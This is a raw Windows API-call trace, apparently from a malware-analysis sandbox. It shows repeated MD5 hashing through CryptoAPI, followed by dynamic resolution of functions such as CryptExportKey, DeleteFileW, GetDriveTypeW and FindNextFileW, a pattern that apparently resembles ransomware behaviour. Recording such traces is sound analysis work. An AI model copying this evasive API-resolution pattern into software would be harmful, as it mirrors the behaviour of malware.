	[0115.704] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.704] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.704] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.704] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.704] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.704] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.704] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.704] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.704] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.704] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.704] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.704] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.704] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.704] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.705] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.705] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.705] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.705] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.705] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.705] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.705] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.705] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.705] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.705] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.705] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.705] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.705] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.705] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.705] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.706] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.706] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.706] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.706] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.706] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.706] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.706] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.706] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.706] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.706] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.706] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.706] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.706] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.707] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.707] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.707] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.707] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.707] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.707] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.707] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.707] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.707] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.707] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.707] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.707] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.707] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.708] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.708] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.708] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.708] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.708] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.708] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.708] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.708] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.708] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.708] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.708] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.708] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.708] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.708] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.708] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.708] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.709] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.709] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.709] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.709] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.709] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.709] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.709] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.709] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.709] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.709] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.709] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.709] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.709] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.710] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.710] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.710] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.710] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.710] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.710] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.710] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.710] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.710] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.710] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.710] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.710] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.710] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.710] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.710] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.711] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.711] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.711] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.711] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.711] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.711] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.711] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.711] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.711] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.711] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.711] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.711] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.711] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.711] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.711] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.712] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.712] CryptDestroyHash (hHash=0x24d790) returned 1
	[0137.784] CryptDestroyHash (hHash=0x24e7b0) returned 1
	[0156.759] CryptDestroyHash (hHash=0x24e7b0) returned 1
	[0158.861] CryptDestroyHash (hHash=0x24e7b0) returned 1
	[0160.418] FreeLibrary (hLibModule=0x7fefddc0000) returned 1
	[0160.419] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0160.419] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0160.419] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0160.420] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0160.420] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0160.420] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0160.420] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0160.420] CryptAcquireContextA (in: phProv=0xd3768, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0xd3768*=0x24d790) returned 1
	[0160.423] CryptCreateHash (in: hProv=0x24d790, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3770 | out: phHash=0xd3770) returned 1
	[0160.423] CryptHashData (hHash=0x24e7b0, pbData=0xd3840, dwDataLen=0x3, dwFlags=0x0) returned 1
	[0160.423] CryptGetHashParam (in: hHash=0x24e7b0, dwParam=0x2, pbData=0xd3790, pdwDataLen=0xd3760, dwFlags=0x0 | out: pbData=0xd3790, pdwDataLen=0xd3760) returned 1
	[0160.423] CryptReleaseContext (hProv=0x24d790, dwFlags=0x0) returned 1
	[0160.423] CryptDestroyHash (hHash=0x24e7b0) returned 0
	[0160.423] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0160.423] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0160.423] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0160.424] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0160.424] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0160.424] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0160.424] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0160.424] CryptAcquireContextA (in: phProv=0xd3768, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0xd3768*=0x24d790) returned 1
	[0160.426] CryptCreateHash (in: hProv=0x24d790, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3770 | out: phHash=0xd3770) returned 1
	[0160.426] CryptHashData (hHash=0x24e820, pbData=0xd3840, dwDataLen=0x3, dwFlags=0x0) returned 1
	[0160.426] CryptGetHashParam (in: hHash=0x24e820, dwParam=0x2, pbData=0xd3790, pdwDataLen=0xd3760, dwFlags=0x0 | out: pbData=0xd3790, pdwDataLen=0xd3760) returned 1
	[0160.426] CryptReleaseContext (hProv=0x24d790, dwFlags=0x0) returned 1
	[0160.426] CryptDestroyHash (hHash=0x24e820) returned 0
	[0160.426] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0160.426] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0160.426] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0160.426] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0160.427] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0160.427] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0160.427] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0160.427] CryptAcquireContextA (in: phProv=0xd3768, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0xd3768*=0x24d790) returned 1
	[0160.429] CryptCreateHash (in: hProv=0x24d790, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3770 | out: phHash=0xd3770) returned 1
	[0160.429] CryptHashData (hHash=0x24e890, pbData=0xd3840, dwDataLen=0x3, dwFlags=0x0) returned 1
	[0160.429] CryptGetHashParam (in: hHash=0x24e890, dwParam=0x2, pbData=0xd3790, pdwDataLen=0xd3760, dwFlags=0x0 | out: pbData=0xd3790, pdwDataLen=0xd3760) returned 1
	[0160.429] CryptReleaseContext (hProv=0x24d790, dwFlags=0x0) returned 1
	[0160.429] CryptDestroyHash (hHash=0x24e890) returned 0
	[0160.429] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0160.429] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0160.429] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0160.429] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0160.429] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0160.429] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0160.430] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0160.430] CryptAcquireContextA (in: phProv=0xd3768, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0xd3768*=0x24d790) returned 1
	[0160.431] CryptCreateHash (in: hProv=0x24d790, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3770 | out: phHash=0xd3770) returned 1
	[0160.431] CryptHashData (hHash=0x24e900, pbData=0xd3840, dwDataLen=0x4, dwFlags=0x0) returned 1
	[0160.432] CryptGetHashParam (in: hHash=0x24e900, dwParam=0x2, pbData=0xd3790, pdwDataLen=0xd3760, dwFlags=0x0 | out: pbData=0xd3790, pdwDataLen=0xd3760) returned 1
	[0160.432] CryptReleaseContext (hProv=0x24d790, dwFlags=0x0) returned 1
	[0160.432] CryptDestroyHash (hHash=0x24e900) returned 0
	[0160.432] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0160.432] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0160.432] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0160.432] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0160.432] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0160.432] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0160.433] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0160.433] CryptAcquireContextA (in: phProv=0xd3768, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0xd3768*=0x24d790) returned 1
	[0160.434] CryptCreateHash (in: hProv=0x24d790, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3770 | out: phHash=0xd3770) returned 1
	[0160.434] CryptHashData (hHash=0x24e970, pbData=0xd3840, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0160.434] CryptGetHashParam (in: hHash=0x24e970, dwParam=0x2, pbData=0xd3790, pdwDataLen=0xd3760, dwFlags=0x0 | out: pbData=0xd3790, pdwDataLen=0xd3760) returned 1
	[0160.434] CryptReleaseContext (hProv=0x24d790, dwFlags=0x0) returned 1
	[0160.435] CryptDestroyHash (hHash=0x24e970) returned 0
	[0160.435] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0160.435] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0160.435] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0160.435] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0160.435] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0160.435] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0160.435] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0160.435] CryptAcquireContextA (in: phProv=0xd3768, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0xd3768*=0x24d790) returned 1
	[0160.437] CryptCreateHash (in: hProv=0x24d790, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3770 | out: phHash=0xd3770) returned 1
	[0160.437] CryptHashData (hHash=0x24e9e0, pbData=0xd3840, dwDataLen=0x3, dwFlags=0x0) returned 1
	[0160.437] CryptGetHashParam (in: hHash=0x24e9e0, dwParam=0x2, pbData=0xd3790, pdwDataLen=0xd3760, dwFlags=0x0 | out: pbData=0xd3790, pdwDataLen=0xd3760) returned 1
	[0160.437] CryptReleaseContext (hProv=0x24d790, dwFlags=0x0) returned 1
	[0160.437] CryptDestroyHash (hHash=0x24e9e0) returned 0
	[0160.437] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0160.438] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0160.438] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0160.438] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0160.438] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0160.438] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0160.438] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0160.438] CryptAcquireContextA (in: phProv=0xd3768, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0xd3768*=0x24d790) returned 1
	[0160.440] CryptCreateHash (in: hProv=0x24d790, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3770 | out: phHash=0xd3770) returned 1
	[0160.440] CryptHashData (hHash=0x24ea50, pbData=0xd3840, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0160.440] CryptGetHashParam (in: hHash=0x24ea50, dwParam=0x2, pbData=0xd3790, pdwDataLen=0xd3760, dwFlags=0x0 | out: pbData=0xd3790, pdwDataLen=0xd3760) returned 1
	[0160.440] CryptReleaseContext (hProv=0x24d790, dwFlags=0x0) returned 1
	[0160.625] CryptDestroyHash (hHash=0x24ea50) returned 0
	[0160.625] LoadLibraryA (lpLibFileName="Kernel32.dll") returned 0x76f20000
	[0160.626] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x7fefa660000
	[0160.632] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x7fefddc0000
	[0160.632] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x7fefe130000
	[0161.223] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x7fefe6b0000
	[0161.235] LoadLibraryA (lpLibFileName="Iphlpapi.dll") returned 0x7fefaa30000
	[0161.241] GetProcAddress (hModule=0x76f20000, lpProcName="VirtualFree") returned 0x76f31260
	[0161.242] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptExportKey") returned 0x7fefddc8140
	[0161.242] GetProcAddress (hModule=0x76f20000, lpProcName="DeleteFileW") returned 0x76f2ad90
	[0161.242] GetProcAddress (hModule=0x76f20000, lpProcName="GetLastError") returned 0x76f42dd0
	[0161.242] GetProcAddress (hModule=0x76f20000, lpProcName="GetDriveTypeW") returned 0x76f3bdf0
	[0161.242] GetProcAddress (hModule=0x76f20000, lpProcName="GetCommandLineW") returned 0x76f3c480
	[0161.243] GetProcAddress (hModule=0x76f20000, lpProcName="GetStartupInfoW") returned 0x76f38070
	[0161.243] GetProcAddress (hModule=0x76f20000, lpProcName="FindNextFileW") returned 0x76f31910
